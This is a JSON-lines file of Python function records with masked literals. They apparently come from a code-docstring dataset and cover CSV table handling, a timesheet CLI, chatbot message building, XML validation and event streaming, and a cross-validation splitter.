{"signature": "def rewrite(fname, visitor, **kw):", "body": "if not isinstance(fname, pathlib.Path):<EOL><INDENT>assert isinstance(fname, string_types)<EOL>fname = pathlib.Path(fname)<EOL><DEDENT>assert fname.is_file()<EOL>with tempfile.NamedTemporaryFile(delete=False) as fp:<EOL><INDENT>tmp = pathlib.Path(fp.name)<EOL><DEDENT>with UnicodeReader(fname, **kw) as reader_:<EOL><INDENT>with UnicodeWriter(tmp, **kw) as writer:<EOL><INDENT>for i, row in enumerate(reader_):<EOL><INDENT>row = visitor(i, row)<EOL>if row is not None:<EOL><INDENT>writer.writerow(row)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>shutil.move(str(tmp), str(fname))<EOL>", "docstring": "Utility function to rewrite rows in tsv files.\n\n    :param fname: Path of the dsv file to operate on.\n    :param visitor: A callable that takes a line-number and a row as input and returns a \\\n    (modified) row or None to filter out the row.\n    :param kw: Keyword parameters are passed through to csv.reader/csv.writer.", "id": "f15002:m2"}
{"signature": "def filter_rows_as_dict(fname, filter_, **kw):", "body": "filter_ = DictFilter(filter_)<EOL>rewrite(fname, filter_, **kw)<EOL>return filter_.removed<EOL>", "docstring": "Rewrite a dsv file, filtering the rows.\n\n    :param fname: Path to dsv file\n    :param filter_: callable which accepts a `dict` with a row's data as single argument\\\n    returning a `Boolean` indicating whether to keep the row (`True`) or to discard it \\\n    `False`.\n    :param kw: Keyword arguments to be passed `UnicodeReader` and `UnicodeWriter`.\n    :return: The number of rows that have been removed.", "id": "f15002:m4"}
{"signature": "def __next__(self):", "body": "<EOL>row = super(UnicodeReaderWithLineNumber, self).__next__()<EOL>return self.lineno + <NUM_LIT:1>, row<EOL>", "docstring": ":return: a pair (1-based line number in the input, row)", "id": "f15002:c2:m0"}
{"signature": "def uri_template_property():", "body": "return attr.ib(<EOL>default=None,<EOL>validator=attr.validators.optional(attr.validators.instance_of(URITemplate)),<EOL>converter=lambda v: v if v is None else URITemplate(v))<EOL>", "docstring": "Note: We do not currently provide support for supplying the \"_\" variables like \"_row\"\nwhen expanding a URI template.\n\n.. seealso:: http://w3c.github.io/csvw/metadata/#uri-template-properties", "id": "f15003:m2"}
{"signature": "def resolve(self, base):", "body": "if hasattr(base, '<STR_LIT>'):<EOL><INDENT>return base / self.string<EOL><DEDENT>return urljoin(base, self.string)<EOL>", "docstring": "Resolve a `Link` relative to `base`.\n\n:param base:\n:return: Either a string, representing a URL, or a `pathlib.Path` object, representing \\\na local file.", "id": "f15003:c1:m4"}
{"signature": "@classmethod<EOL><INDENT>def fromvalue(cls, v):<DEDENT>", "body": "if isinstance(v, text_type):<EOL><INDENT>return cls(base=v)<EOL><DEDENT>if isinstance(v, dict):<EOL><INDENT>return cls(**DescriptionBase.partition_properties(v))<EOL><DEDENT>if isinstance(v, cls):<EOL><INDENT>return v<EOL><DEDENT>raise ValueError(v)<EOL>", "docstring": ":param v: Initialization data for `cls`; either a single string that is the main datatype \\\nof the values of the cell or a datatype description object, i.e. a `dict` or a `cls`\ninstance.\n:return: An instance of `cls`", "id": "f15003:c4:m0"}
{"signature": "def iterdicts(self, log=None, with_metadata=False, fname=None, _Row=collections.OrderedDict):", "body": "dialect = self._get_dialect()<EOL>fname = fname or self.url.resolve(self._parent.base)<EOL>colnames, virtualcols, requiredcols = [], [], set()<EOL>for col in self.tableSchema.columns:<EOL><INDENT>if col.virtual:<EOL><INDENT>if col.valueUrl:<EOL><INDENT>virtualcols.append((col.header, col.valueUrl))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>colnames.append(col.header)<EOL><DEDENT>if col.required:<EOL><INDENT>requiredcols.add(col.header)<EOL><DEDENT><DEDENT>with UnicodeReaderWithLineNumber(fname, dialect=dialect) as reader:<EOL><INDENT>reader = iter(reader)<EOL>if dialect.header:<EOL><INDENT>try:<EOL><INDENT>_, header = next(reader)<EOL><DEDENT>except StopIteration:  <EOL><INDENT>return<EOL><DEDENT><DEDENT>else:<EOL><INDENT>header = colnames<EOL><DEDENT>if header == colnames:<EOL><INDENT>header_cols = list(zip(header, self.tableSchema.columns))<EOL><DEDENT>else:<EOL><INDENT>header_cols = [(h, self.tableSchema.get_column(h)) for h in header]<EOL><DEDENT>header_cols = [(j, h, c) for j, (h, c) in enumerate(header_cols)]<EOL>missing = requiredcols - set(c.header for j, h, c in header_cols if c)<EOL>if missing:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(fname, missing))<EOL><DEDENT>for lineno, row in reader:<EOL><INDENT>required = {h: j for j, h, c in header_cols if c and c.required}<EOL>res = _Row()<EOL>error = False<EOL>for (j, k, col), v in zip(header_cols, row):<EOL><INDENT>if col:<EOL><INDENT>if k in required:<EOL><INDENT>del required[k]<EOL><DEDENT>try:<EOL><INDENT>res[col.header] = col.read(v)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>log_or_raise(<EOL>'<STR_LIT>'.format(fname, lineno, j + <NUM_LIT:1>, k, e),<EOL>log=log)<EOL>error = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>res[k] = v<EOL><DEDENT><DEDENT>for k, j in required.items():<EOL><INDENT>if k not in res:<EOL><INDENT>log_or_raise(<EOL>'<STR_LIT>'.format(<EOL>fname, lineno, j + <NUM_LIT:1>, k, '<STR_LIT>'),<EOL>log=log)<EOL>error = True<EOL><DEDENT><DEDENT>for key, valueUrl in virtualcols:<EOL><INDENT>res[key] = valueUrl.expand(**res)<EOL><DEDENT>if not error:<EOL><INDENT>if with_metadata:<EOL><INDENT>yield fname, lineno, res<EOL><DEDENT>else:<EOL><INDENT>yield res<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Iterate over the rows of the table\n\n        Create an iterator that maps the information in each row to a `dict` whose keys are\n        the column names of the table and whose values are the values in the corresponding\n        table cells, or for virtual columns (which have no values) the valueUrl for that\n        column. This includes columns not specified in the table specification.\n\n        :param log: Logger object (default None) The object that reports parsing errors.\\\n        If none is given, parsing errors raise ValueError instead.\n        :param bool with_metadata: (default False) Also yield fname and lineno\n        :param fname: file-like, pathlib.Path, or str (default None)\\\n        The file to be read. Defaults to inheriting from a parent object, if one exists.\n        :return: A generator of dicts or triples (fname, lineno, dict) if with_metadata", "id": "f15003:c11:m5"}
{"signature": "def read(self):", "body": "return {tname: list(t.iterdicts()) for tname, t in self.tabledict.items()}<EOL>", "docstring": "Read all data of a TableGroup", "id": "f15003:c12:m3"}
{"signature": "def write(self, fname, **items):", "body": "fname = pathlib.Path(fname)<EOL>for tname, rows in items.items():<EOL><INDENT>self.tabledict[tname].write(rows, base=fname.parent)<EOL><DEDENT>self.to_file(fname)<EOL>", "docstring": "Write a TableGroup's data and metadata to files.\n\n:param fname:\n:param items:\n:return:", "id": "f15003:c12:m4"}
{"signature": "def copy(self, dest):", "body": "dest = pathlib.Path(dest)<EOL>for table in self.tables:<EOL><INDENT>shutil.copy(str(table.url.resolve(self.base)), str(table.url.resolve(dest)))<EOL><DEDENT>self._fname = dest / self._fname.name<EOL>self.to_file(self._fname)<EOL>", "docstring": "Write a TableGroup's data and metadata to files relative to `dest`, adapting the `base`\nattribute.\n\n:param dest:\n:return:", "id": "f15003:c12:m5"}
{"signature": "@property<EOL><INDENT>def base(self):<DEDENT>", "body": "return self._fname.parent<EOL>", "docstring": "We only support data in the filesystem, thus we make sure `base` is a `pathlib.Path`.", "id": "f15003:c12:m7"}
{"signature": "def normalize_name(s):", "body": "s = s.replace('<STR_LIT:->', '<STR_LIT:_>').replace('<STR_LIT:.>', '<STR_LIT:_>').replace('<STR_LIT:U+0020>', '<STR_LIT:_>')<EOL>if s in keyword.kwlist:<EOL><INDENT>return s + '<STR_LIT:_>'<EOL><DEDENT>s = '<STR_LIT:_>'.join(slug(ss, lowercase=False) for ss in s.split('<STR_LIT:_>'))<EOL>if not s:<EOL><INDENT>s = '<STR_LIT:_>'<EOL><DEDENT>if s[<NUM_LIT:0>] not in string.ascii_letters + '<STR_LIT:_>':<EOL><INDENT>s = '<STR_LIT:_>' + s<EOL><DEDENT>return s<EOL>", "docstring": "Convert a string into a valid python attribute name.\n    This function is called to convert ASCII strings to something that can pass as\n    python attribute name, to be used with namedtuples.\n\n    >>> str(normalize_name('class'))\n    'class_'\n    >>> str(normalize_name('a-name'))\n    'a_name'\n    >>> str(normalize_name('a n\\u00e4me'))\n    'a_name'\n    >>> str(normalize_name('Name'))\n    'Name'\n    >>> str(normalize_name(''))\n    '_'\n    >>> str(normalize_name('1'))\n    '_1'", "id": "f15004:m3"}
{"signature": "def slug(s, remove_whitespace=True, lowercase=True):", "body": "res = '<STR_LIT>'.join(c for c in unicodedata.normalize('<STR_LIT>', s)<EOL>if unicodedata.category(c) != '<STR_LIT>')<EOL>if lowercase:<EOL><INDENT>res = res.lower()<EOL><DEDENT>for c in string.punctuation:<EOL><INDENT>res = res.replace(c, '<STR_LIT>')<EOL><DEDENT>res = re.sub('<STR_LIT>', '<STR_LIT>' if remove_whitespace else '<STR_LIT:U+0020>', res)<EOL>res = res.encode('<STR_LIT:ascii>', '<STR_LIT:ignore>').decode('<STR_LIT:ascii>')<EOL>assert re.match('<STR_LIT>', res)<EOL>return res<EOL>", "docstring": "Condensed version of s, containing only lowercase alphanumeric characters.\n\n    >>> str(slug('A B. \\u00e4C'))\n    'abac'", "id": "f15004:m4"}
{"signature": "def hours_to_days(hours):", "body": "days = int(hours // <NUM_LIT:8>)<EOL>hours_left = hours % <NUM_LIT:8><EOL>return days, hours_left<EOL>", "docstring": "Convert the given amount of hours to a 2-tuple `(days, hours)`.", "id": "f15008:m0"}
{"signature": "@cli.group()<EOL>def zebra():", "body": "pass<EOL>", "docstring": "Zebra-related commands.", "id": "f15008:m1"}
{"signature": "def signed_number(number, precision=<NUM_LIT:2>):", "body": "prefix = '<STR_LIT>' if number <= <NUM_LIT:0> else '<STR_LIT:+>'<EOL>number_str = '<STR_LIT>'.format(prefix, number, precision=precision)<EOL>return number_str<EOL>", "docstring": "Return the given number as a string with a sign in front of it, ie. `+` if the number is positive, `-` otherwise.", "id": "f15008:m2"}
{"signature": "def get_first_dow(date):", "body": "return date - datetime.timedelta(days=date.weekday())<EOL>", "docstring": "Return the first day of the week for the given date.", "id": "f15008:m3"}
{"signature": "def get_last_dow(date):", "body": "return date + datetime.timedelta(days=(<NUM_LIT:6> - date.weekday()))<EOL>", "docstring": "Return the last day of the week for the given date.", "id": "f15008:m4"}
{"signature": "@zebra.command()<EOL>@click.pass_context<EOL>def balance(ctx):", "body": "backend = plugins_registry.get_backends_by_class(ZebraBackend)[<NUM_LIT:0>]<EOL>timesheet_collection = get_timesheet_collection_for_context(ctx, None)<EOL>hours_to_be_pushed = timesheet_collection.get_hours(pushed=False, ignored=False, unmapped=False)<EOL>today = datetime.date.today()<EOL>user_info = backend.get_user_info()<EOL>timesheets = backend.get_timesheets(get_first_dow(today), get_last_dow(today))<EOL>total_duration = sum([float(timesheet['<STR_LIT:time>']) for timesheet in timesheets])<EOL>vacation = hours_to_days(user_info['<STR_LIT>']['<STR_LIT>'])<EOL>vacation_balance = '<STR_LIT>'.format(*vacation)<EOL>hours_balance = user_info['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>click.echo(\"<STR_LIT>\".format(signed_number(hours_balance)))<EOL>click.echo(\"<STR_LIT>\".format(signed_number(hours_balance + hours_to_be_pushed)))<EOL>click.echo(\"<STR_LIT>\".format(total_duration))<EOL>click.echo(\"<STR_LIT>\".format(vacation_balance))<EOL>", "docstring": "Show Zebra balance.\n\nLike the hours balance, vacation left, etc.", "id": "f15008:m5"}
{"signature": "def to_zebra_params(params):", "body": "def to_zebra_value(value):<EOL><INDENT>transform_funcs = {<EOL>bool: lambda v: '<STR_LIT:true>' if v else '<STR_LIT:false>',<EOL>}<EOL>return transform_funcs.get(type(value), lambda v: v)(value)<EOL><DEDENT>return {param: to_zebra_value(value) for param, value in params.items()}<EOL>", "docstring": "Transforms the given `params` dict to values that are understood by Zebra (eg. False is represented as 'false')", "id": "f15010:m2"}
{"signature": "def show_response_messages(response_json):", "body": "message_type_kwargs = {<EOL>'<STR_LIT>': {'<STR_LIT>': '<STR_LIT>'},<EOL>'<STR_LIT:error>': {'<STR_LIT>': '<STR_LIT>'},<EOL>}<EOL>for message in response_json.get('<STR_LIT>', []):<EOL><INDENT>click.secho(message['<STR_LIT:text>'], **message_type_kwargs.get(message['<STR_LIT:type>'], {}))<EOL><DEDENT>", "docstring": "Show all messages in the `messages` key of the given dict.", "id": "f15010:m3"}
{"signature": "def update_alias_mapping(settings, alias, new_mapping):", "body": "mapping = aliases_database[alias]<EOL>new_mapping = Mapping(mapping=new_mapping, backend=mapping.backend)<EOL>aliases_database[alias] = new_mapping<EOL>settings.add_alias(alias, new_mapping)<EOL>settings.write_config()<EOL>", "docstring": "Override `alias` mapping in the user configuration file with the given `new_mapping`, which should be a tuple with\n2 or 3 elements (in the form `(project_id, activity_id, role_id)`).", "id": "f15010:m6"}
{"signature": "def build_message(self, data):", "body": "if not data:<EOL><INDENT>return None<EOL><DEDENT>return Message(<EOL>id=data['<STR_LIT:message>']['<STR_LIT>'],<EOL>platform=self.platform,<EOL>text=data['<STR_LIT:message>']['<STR_LIT:text>'],<EOL>user=data['<STR_LIT>']['<STR_LIT:id>'],<EOL>timestamp=data['<STR_LIT>'],<EOL>raw=data,<EOL>chat=None,  <EOL>)<EOL>", "docstring": "Return a Message instance according to the data received from\nFacebook Messenger API.", "id": "f15022:c0:m4"}
{"signature": "@click.group(invoke_without_command=True)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False)<EOL>@click.pass_context<EOL>def cli(ctx, version):", "body": "<EOL>if not ctx.invoked_subcommand and version:<EOL><INDENT>click.echo(bottery.__version__)<EOL>ctx.exit()<EOL><DEDENT>elif not ctx.invoked_subcommand:<EOL><INDENT>click.echo(ctx.get_help())<EOL>ctx.exit()<EOL><DEDENT>", "docstring": "Bottery", "id": "f15025:m0"}
{"signature": "@property<EOL><INDENT>def platform(self):<DEDENT>", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Platform name", "id": "f15026:c0:m1"}
{"signature": "def build_message(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Build Message instance according to the data received from the\nplatform API.", "id": "f15026:c0:m2"}
{"signature": "async def configure(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Called by App instance to configure the platform", "id": "f15026:c0:m3"}
{"signature": "async def _get_response(self, message):", "body": "view = self.discovery_view(message)<EOL>if not view:<EOL><INDENT>return<EOL><DEDENT>if inspect.iscoroutinefunction(view):<EOL><INDENT>response = await view(message)<EOL><DEDENT>else:<EOL><INDENT>response = view(message)<EOL><DEDENT>return self.prepare_response(response, message)<EOL>", "docstring": "Get response running the view with await syntax if it is a\ncoroutine function, otherwise just run it the normal way.", "id": "f15026:c0:m4"}
{"signature": "def discovery_view(self, message):", "body": "for handler in self.registered_handlers:<EOL><INDENT>if handler.check(message):<EOL><INDENT>return handler.view<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Use the new message to search for a registered view according\nto its pattern.", "id": "f15026:c0:m8"}
{"signature": "async def message_handler(self, data):", "body": "message = self.build_message(data)<EOL>if not message:<EOL><INDENT>logger.error(<EOL>'<STR_LIT>',<EOL>self.engine_name,<EOL>data<EOL>)<EOL>return<EOL><DEDENT>logger.info('<STR_LIT>', self.engine_name,<EOL>message.user, message.text)<EOL>response = await self.get_response(message)<EOL>if response:<EOL><INDENT>await self.send_response(response)<EOL><DEDENT>", "docstring": "For each new message, build its platform specific message\nobject and get a response.", "id": "f15026:c0:m9"}
{"signature": "def build_message(self, data):", "body": "message_data = data.get('<STR_LIT:message>') or data.get('<STR_LIT>')<EOL>if not message_data:<EOL><INDENT>return None<EOL><DEDENT>edited = '<STR_LIT>' in data<EOL>return Message(<EOL>id=message_data['<STR_LIT>'],<EOL>platform=self.platform,<EOL>text=message_data.get('<STR_LIT:text>', '<STR_LIT>'),<EOL>user=TelegramUser(message_data['<STR_LIT>']),<EOL>chat=TelegramChat(message_data['<STR_LIT>']),<EOL>timestamp=message_data['<STR_LIT:date>'],<EOL>raw=data,<EOL>edited=edited,<EOL>)<EOL>", "docstring": "Return a Message instance according to the data received from\nTelegram API.\nhttps://core.telegram.org/bots/api#update", "id": "f15027:c2:m6"}
{"signature": "def get_chat_id(self, message):", "body": "if message.chat.type == '<STR_LIT>':<EOL><INDENT>return message.user.id<EOL><DEDENT>return message.chat.id<EOL>", "docstring": "Telegram chat type can be either \"private\", \"group\", \"supergroup\" or\n\"channel\".\nReturn user ID if it is of type \"private\", chat ID otherwise.", "id": "f15027:c2:m7"}
{"signature": "def valid_xml_characters():", "body": "return itertools.chain(<EOL>[<NUM_LIT>, <NUM_LIT>, <NUM_LIT>],<EOL>range(<NUM_LIT>, <NUM_LIT>+<NUM_LIT:1>),<EOL>range(<NUM_LIT>, <NUM_LIT>+<NUM_LIT:1>),<EOL>range(<NUM_LIT>, <NUM_LIT>)<EOL>)<EOL>", "docstring": "only those can be used in an XML document", "id": "f15048:m0"}
{"signature": "def valid_xml_name_char_start():", "body": "def rng(s, e):<EOL><INDENT>return range(ord(s), ord(e)+<NUM_LIT:1>)<EOL><DEDENT>return itertools.chain(<EOL>[ord('<STR_LIT::>')],<EOL>rng('<STR_LIT:A>', '<STR_LIT>'),<EOL>[ord('<STR_LIT:_>')],<EOL>rng('<STR_LIT:a>', '<STR_LIT:z>'),<EOL>rng('<STR_LIT>', '<STR_LIT>'),<EOL>rng('<STR_LIT>', '<STR_LIT>'),<EOL>rng('<STR_LIT>', '<STR_LIT>'),<EOL>rng('<STR_LIT>', '<STR_LIT>'),<EOL>rng('<STR_LIT>', '<STR_LIT>'),<EOL>rng('<STR_LIT>', '<STR_LIT>'),<EOL>rng('<STR_LIT>', '<STR_LIT>'),<EOL>rng('<STR_LIT>', '<STR_LIT>'),<EOL>rng('<STR_LIT>', '<STR_LIT>'),<EOL>rng('<STR_LIT>', '<STR_LIT>'),<EOL>rng('<STR_LIT>', '<STR_LIT>'),<EOL>rng('<STR_LIT>', '<STR_LIT>')<EOL>)<EOL>", "docstring": "XML name can start with this chars", "id": "f15048:m1"}
{"signature": "def valid_xml_name_char():", "body": "def rng(s, e):<EOL><INDENT>return range(ord(s), ord(e)+<NUM_LIT:1>)<EOL><DEDENT>return itertools.chain(<EOL>valid_xml_name_char_start(),<EOL>[ord('<STR_LIT:->')],<EOL>[ord('<STR_LIT:.>')],<EOL>rng('<STR_LIT:0>', '<STR_LIT>'),<EOL>[ord('<STR_LIT>')],<EOL>rng('<STR_LIT>', '<STR_LIT>'),<EOL>rng('<STR_LIT>', '<STR_LIT>')<EOL>)<EOL>", "docstring": "XML name can contain any of these chars", "id": "f15048:m2"}
{"signature": "def unicode_range():", "body": "for x in range(<NUM_LIT:1>, <NUM_LIT>): yield x<EOL>", "docstring": "internal: all reasonable Unicode range", "id": "f15048:m3"}
{"signature": "def xml_escape_text(text):", "body": "return __TEXT_ESCAPE_PATTERN.sub(lambda mtc: __TEXT_ESCAPE[mtc.group()], text)<EOL>", "docstring": "escapes XML text", "id": "f15051:m0"}
{"signature": "def xml_escape_attr(text):", "body": "return __ATTR_ESCAPE_PATTERN.sub(lambda mtc: __ATTR_ESCAPE[mtc.group()], text)<EOL>", "docstring": "escapes XML attribute value", "id": "f15051:m1"}
{"signature": "def validate_pi_text(text):", "body": "if __PI_TEXT_CHECK_PATTERN.search(text):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "validates XML Processing Instruction text", "id": "f15051:m2"}
{"signature": "def validate_comment_text(text):", "body": "if __COMMENT_TEXT_CHECK_PATTERN.search(text):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "validates XML comment text", "id": "f15051:m3"}
{"signature": "def validate_xml_text(text):", "body": "bad_chars = __INVALID_XML_CHARS & set(text)<EOL>if bad_chars:<EOL><INDENT>for offset,c in enumerate(text):<EOL><INDENT>if c in bad_chars:<EOL><INDENT>raise RuntimeError('<STR_LIT>' + repr(c) + '<STR_LIT>' + str(offset))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "validates XML text", "id": "f15051:m4"}
{"signature": "def validate_xml_name(name):", "body": "if len(name) == <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if __INVALID_NAME_CHARS & set(name):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if name[<NUM_LIT:0>] in __INVALID_NAME_START_CHARS:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "validates XML name", "id": "f15051:m5"}
{"signature": "def scan(xml):", "body": "if xml.tag is et.Comment:<EOL><INDENT>yield {'<STR_LIT:type>': COMMENT, '<STR_LIT:text>': xml.text}<EOL>return<EOL><DEDENT>if xml.tag is et.PI:<EOL><INDENT>if xml.text:<EOL><INDENT>yield {'<STR_LIT:type>': PI, '<STR_LIT:target>': xml.target, '<STR_LIT:text>': xml.text}<EOL><DEDENT>else:<EOL><INDENT>yield {'<STR_LIT:type>': PI, '<STR_LIT:target>': xml.target}<EOL><DEDENT>return<EOL><DEDENT>obj = _elt2obj(xml)<EOL>obj['<STR_LIT:type>'] = ENTER<EOL>yield obj<EOL>assert type(xml.tag) is str, xml<EOL>if xml.text:<EOL><INDENT>yield {'<STR_LIT:type>': TEXT, '<STR_LIT:text>': xml.text}<EOL><DEDENT>for c in xml:<EOL><INDENT>for x in scan(c): yield x<EOL>if c.tail:<EOL><INDENT>yield {'<STR_LIT:type>': TEXT, '<STR_LIT:text>': c.tail}<EOL><DEDENT><DEDENT>yield {'<STR_LIT:type>': EXIT}<EOL>", "docstring": "Converts XML tree to event generator", "id": "f15052:m2"}
{"signature": "def unscan(events, nsmap=None):", "body": "root = None<EOL>last_closed_elt = None<EOL>stack = []<EOL>for obj in events:<EOL><INDENT>if obj['<STR_LIT:type>'] == ENTER:<EOL><INDENT>elt = _obj2elt(obj, nsmap=nsmap)<EOL>if stack:<EOL><INDENT>stack[-<NUM_LIT:1>].append(elt)<EOL><DEDENT>elif root is not None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>root = elt<EOL><DEDENT>stack.append(elt)<EOL>last_closed_elt = None<EOL><DEDENT>elif obj['<STR_LIT:type>'] == EXIT:<EOL><INDENT>last_closed_elt = stack.pop()<EOL><DEDENT>elif obj['<STR_LIT:type>'] == COMMENT:<EOL><INDENT>elt = et.Comment(obj['<STR_LIT:text>'])<EOL>stack[-<NUM_LIT:1>].append(elt)<EOL><DEDENT>elif obj['<STR_LIT:type>'] == PI:<EOL><INDENT>elt = et.PI(obj['<STR_LIT:target>'])<EOL>if obj.get('<STR_LIT:text>'):<EOL><INDENT>elt.text = obj['<STR_LIT:text>']<EOL><DEDENT>stack[-<NUM_LIT:1>].append(elt)<EOL><DEDENT>elif obj['<STR_LIT:type>'] == TEXT:<EOL><INDENT>text = obj['<STR_LIT:text>']<EOL>if text:<EOL><INDENT>if last_closed_elt is None:<EOL><INDENT>stack[-<NUM_LIT:1>].text = (stack[-<NUM_LIT:1>].text or '<STR_LIT>') + text<EOL><DEDENT>else:<EOL><INDENT>last_closed_elt.tail = (last_closed_elt.tail or '<STR_LIT>') + text<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>assert False, obj<EOL><DEDENT><DEDENT>if root is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>return root<EOL>", "docstring": "Converts events stream into lXML tree", "id": "f15052:m3"}
{"signature": "def parse(filename):", "body": "for event, elt in et.iterparse(filename, events= ('<STR_LIT:start>', '<STR_LIT:end>', '<STR_LIT>', '<STR_LIT>'), huge_tree=True):<EOL><INDENT>if event == '<STR_LIT:start>':<EOL><INDENT>obj = _elt2obj(elt)<EOL>obj['<STR_LIT:type>'] = ENTER<EOL>yield obj<EOL>if elt.text:<EOL><INDENT>yield {'<STR_LIT:type>': TEXT, '<STR_LIT:text>': elt.text}<EOL><DEDENT><DEDENT>elif event == '<STR_LIT:end>':<EOL><INDENT>yield {'<STR_LIT:type>': EXIT}<EOL>if elt.tail:<EOL><INDENT>yield {'<STR_LIT:type>': TEXT, '<STR_LIT:text>': elt.tail}<EOL><DEDENT>elt.clear()<EOL><DEDENT>elif event == '<STR_LIT>':<EOL><INDENT>yield {'<STR_LIT:type>': COMMENT, '<STR_LIT:text>': elt.text}<EOL><DEDENT>elif event == '<STR_LIT>':<EOL><INDENT>yield {'<STR_LIT:type>': PI, '<STR_LIT:text>': elt.text}<EOL><DEDENT>else:<EOL><INDENT>assert False, (event, elt)<EOL><DEDENT><DEDENT>", "docstring": "Parses file content into events stream", "id": "f15052:m4"}
{"signature": "def subtree(events):", "body": "stack = <NUM_LIT:0><EOL>for obj in events:<EOL><INDENT>if obj['<STR_LIT:type>'] == ENTER:<EOL><INDENT>stack += <NUM_LIT:1><EOL><DEDENT>elif obj['<STR_LIT:type>'] == EXIT:<EOL><INDENT>if stack == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>stack -= <NUM_LIT:1><EOL><DEDENT>yield obj<EOL><DEDENT>", "docstring": "selects sub-tree events", "id": "f15052:m5"}
{"signature": "def merge_text(events):", "body": "text = []<EOL>for obj in events:<EOL><INDENT>if obj['<STR_LIT:type>'] == TEXT:<EOL><INDENT>text.append(obj['<STR_LIT:text>'])<EOL><DEDENT>else:<EOL><INDENT>if text:<EOL><INDENT>yield {'<STR_LIT:type>': TEXT, '<STR_LIT:text>': '<STR_LIT>'.join(text)}<EOL>text.clear()<EOL><DEDENT>yield obj<EOL><DEDENT><DEDENT>if text:<EOL><INDENT>yield {'<STR_LIT:type>': TEXT, '<STR_LIT:text>': '<STR_LIT>'.join(text)}<EOL><DEDENT>", "docstring": "merges each run of successive text events into one text event", "id": "f15052:m6"}
{"signature": "def with_peer(events):", "body": "stack = []<EOL>for obj in events:<EOL><INDENT>if obj['<STR_LIT:type>'] == ENTER:<EOL><INDENT>stack.append(obj)<EOL>yield obj, None<EOL><DEDENT>elif obj['<STR_LIT:type>'] == EXIT:<EOL><INDENT>yield obj, stack.pop()<EOL><DEDENT>else:<EOL><INDENT>yield obj, None<EOL><DEDENT><DEDENT>", "docstring": "locates ENTER peer for each EXIT object. Convenient when selectively\n    filtering out XML markup", "id": "f15052:m7"}
{"signature": "def text_of(events):", "body": "return '<STR_LIT>'.join(o['<STR_LIT:text>'] for o in events if o['<STR_LIT:type>']==TEXT)<EOL>", "docstring": "extracts text content from event stream", "id": "f15052:m8"}
{"signature": "def fit(self, x, y=None):", "body": "if self._dtype is not None:<EOL><INDENT>iter2array(x, dtype=self._dtype)<EOL><DEDENT>else:<EOL><INDENT>iter2array(x)<EOL><DEDENT>return self<EOL>", "docstring": "Do nothing and return the estimator unchanged\n\n        This method is just there to implement the usual API and hence work in pipelines.", "id": "f15061:c0:m0"}
{"signature": "def get_n_splits(self, X=None, y=None, groups=None):", "body": "return self.n_splits<EOL>", "docstring": "Returns the number of splitting iterations in the cross-validator\n        Parameters\n        ----------\n        X : object\n            Always ignored, exists for compatibility.\n            ``np.zeros(n_samples)`` may be used as a placeholder.\n        y : object\n            Always ignored, exists for compatibility.\n            ``np.zeros(n_samples)`` may be used as a placeholder.\n        groups : array-like, with shape (n_samples,)\n            Group labels for the samples used while splitting the dataset into\n            train/test set.\n        Returns\n        -------\n        n_splits : int\n            Returns the number of splitting iterations in the cross-validator.", "id": "f15062:c0:m1"}
{"signature": "def split(self, X, y=None, groups=None):", "body": "X, y, groups = indexable(X, y, groups)<EOL>cgrs = [~r for r in X]<EOL>condition_structure = defaultdict(set)<EOL>for structure, condition in zip(cgrs, groups):<EOL><INDENT>condition_structure[condition].add(structure)<EOL><DEDENT>train_data = defaultdict(list)<EOL>test_data = []<EOL>for n, (structure, condition) in enumerate(zip(cgrs, groups)):<EOL><INDENT>train_data[structure].append(n)<EOL>if len(condition_structure[condition]) > <NUM_LIT:1>:<EOL><INDENT>test_data.append(n)<EOL><DEDENT><DEDENT>if self.n_splits > len(train_data):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (self.n_splits, len(train_data)))<EOL><DEDENT>structures_weight = sorted(((x, len(y)) for x, y in train_data.items()), key=lambda x: x[<NUM_LIT:1>], reverse=True)<EOL>fold_mean_size = len(cgrs) // self.n_splits<EOL>if structures_weight[<NUM_LIT:0>][<NUM_LIT:1>] > fold_mean_size:<EOL><INDENT>warning('<STR_LIT>')<EOL><DEDENT>for idx in range(self.n_repeats):<EOL><INDENT>train_folds = [[] for _ in range(self.n_splits)]<EOL>for structure, structure_length in structures_weight:<EOL><INDENT>if self.shuffle:<EOL><INDENT>check_random_state(self.random_state).shuffle(train_folds)<EOL><DEDENT>for fold in train_folds[:-<NUM_LIT:1>]:<EOL><INDENT>if len(fold) + structure_length <= fold_mean_size:<EOL><INDENT>fold.extend(train_data[structure])<EOL>break<EOL><DEDENT>else:<EOL><INDENT>roulette_param = (structure_length - fold_mean_size + len(fold)) / structure_length<EOL>if random() > roulette_param:<EOL><INDENT>fold.extend(train_data[structure])<EOL>break<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>train_folds[-<NUM_LIT:1>].extend(train_data[structure])<EOL><DEDENT><DEDENT>test_folds = [[] for _ in range(self.n_splits)]<EOL>for test, train in zip(test_folds, train_folds):<EOL><INDENT>for index in train:<EOL><INDENT>if index in test_data:<EOL><INDENT>test.append(index)<EOL><DEDENT><DEDENT><DEDENT>for i in 